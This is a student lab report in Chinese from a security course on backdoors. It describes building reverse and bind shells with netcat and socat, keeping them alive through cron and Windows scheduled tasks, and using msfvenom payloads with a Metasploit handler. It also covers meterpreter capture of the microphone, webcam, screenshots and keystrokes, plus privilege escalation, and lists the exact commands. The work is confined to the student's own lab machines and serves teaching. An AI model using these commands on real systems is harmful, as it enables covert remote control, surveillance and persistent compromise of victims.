2018-2019 Exp2 后门原理与实践
目录
一、实验内容说明及基础问题回答
1、实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2、基础问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?- 破解Linux计算机账号密码
- 替换login程序,提供特殊口令隐身登录
- 在文件系统中隐藏后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Linux:通过crontab功能将木马设置为定时启动,控制主机保持监听状态就能周期性启动后门,也可以通过对正常然健的绑定注入shellcode开启后门。
- win:被动下载或接受后门程序,当受害方点击运行该程序后门便会启动。
(3)Meterpreter有哪些给你映像深刻的功能?
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
(4)如何发现自己有系统有没有被安装后门?
- 安装杀毒软件:可以进行实时防护,如老师课堂演示中在开启软件保护模式情况下,若有后门可疑程序会即刻将其删除。
- 检测网络连接:查看是否有IP与本机建立连接
二、工具准备
查看WindowsIP和LinuxIP
Windows下用命令
ipconfig
Linux下用
ifconfig
Windows获得Linuxshell
使用ncat程序,输入
ncat.exe -l -p 5226
监听本机5226端口在kali中使用nc指令的
-e
选项,输入nc 172.30.2.26 5226 -e /bin/sh
反向连接Windows主机的5226端口在Windows端,获得kali的shell
Linux 获得Windows shell
使用
nc
指令监听5226
端口在Windows下,使用
ncat.exe
程序的-e
选项反向连接kali主机的5226
端口此时kali可以看到Windows的命令提示,可以输入相关Windows命令(此处输入的是
dir
)
使用nc传输数据
Windows监听
5226
端口Kali下连接到Windows的
5226
端口建立连接后传输数据
三、实验过程
使用netcat获取主机操作Shell,cron启动
在Windows下监听
5226
端口在kali中,用
crontab -e
编辑一条定时任务,选择编辑器3
在最后一行添加
30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh
,意思是在每小时的第30分钟反向连接Windows主机的5226
端口时间到了23:30时,已经获得kali的shell,可以输入指令
使用socat获取主机操作Shell, 任务计划启动
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)
在任务计划程序创建任务,填写任务名称,并新建一个触发器
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5226 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5226
,同时把cmd.exe
的stderr
重定向到stdout
上创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行
此时,在Kali环境下输入指令
socat - tcp:172.30.2.26:5226
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5226端口,此时可以发现已经成功获得了一个cmd shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.130 LPORT=5226 -f exe > 20165226_backdoor.exe
生成后门程序注意此时IP地址为LinuxIP
- Windows下执行
ncat.exe -lv 5226 > 20165226_backdoor.exe
,进入接受模式 Linux中执行
nc 172.30.2.26 5226 < 20165226_backdoor.exe
,注意关闭病毒查杀软件此时IP地址为主机即WindowsIP
传送接收文件成功
在kali中打开终端,输入
msfconsole
指令进入msf控制台输入
use exploit/multi/handler
进入监听模块输入
set payload windows/meterpreter/reverse_tcp
设置payload依次输入
set LHOST 192.168.170.130
和set LPORT 5226
设置IP及端口注意此时IP地址为LinuxIP,和生成後門程序時指定的IP相同
设置完成,开始监听
exlpoit
运行Windows下的后门程序
kali已经获得Windows主机的连接,并得到远程控制的shell
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
使用
record_mic
指令可以截获一段音频使用
webcam_snap
指令可以使用摄像头进行拍照使用
screenshot
指令可以进行截屏使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录先使用
getuid
指令查看当前用户,使用getsystem
指令进行提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.170.128 LPORT=5226 -x /root/20165226/exp2/pwn1 -f elf > 5226pwn
生成以pwn1模板这个elf文件格式的shellcode文件5226pwn- 输入指令
msfconsole
,进入msf命令行
use exploit/multi/handler /*进入handler模式*/set payload linux/x86/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/show options /*查看当前信息状态*/set LHOST 192.168.170.128 /*设置LHOST,其中ip为攻击者Linux的ip*/set LPORT 5226 /*设置LPORT*/exploit /*启动监听*/
- 在kali上运行后门文件5226pwn,
在kali中执行pwn2时应先加权限 chmod +x 5226pwn
- 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell
四、问题与思考
问题1:kali使用nc反弹连接后主机没有任何显示
问题1解决方案:在空白处输入命令,如
ls
等,再回车即可- 问题2:kali中使用cron启动,但在编辑的时间点并未获取kali的shell
问题2解决方案:
通过重新查看编辑文件,发现并未写入端口号
于是将最后一行改为
30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh
问题3:在进行第二个socat实验时未成功获得cmd shell
问题3解决方案:通过校对命令行,发现输入命令时将
-
和tcp:
连在一起了,正确书写为socat - tcp:....
,一定注意之间的空格问题4:MSF监听时最后无法获取信息
问题4解决方案:发现是在IP设置时出现问题,重新启动终端将步骤从头调试。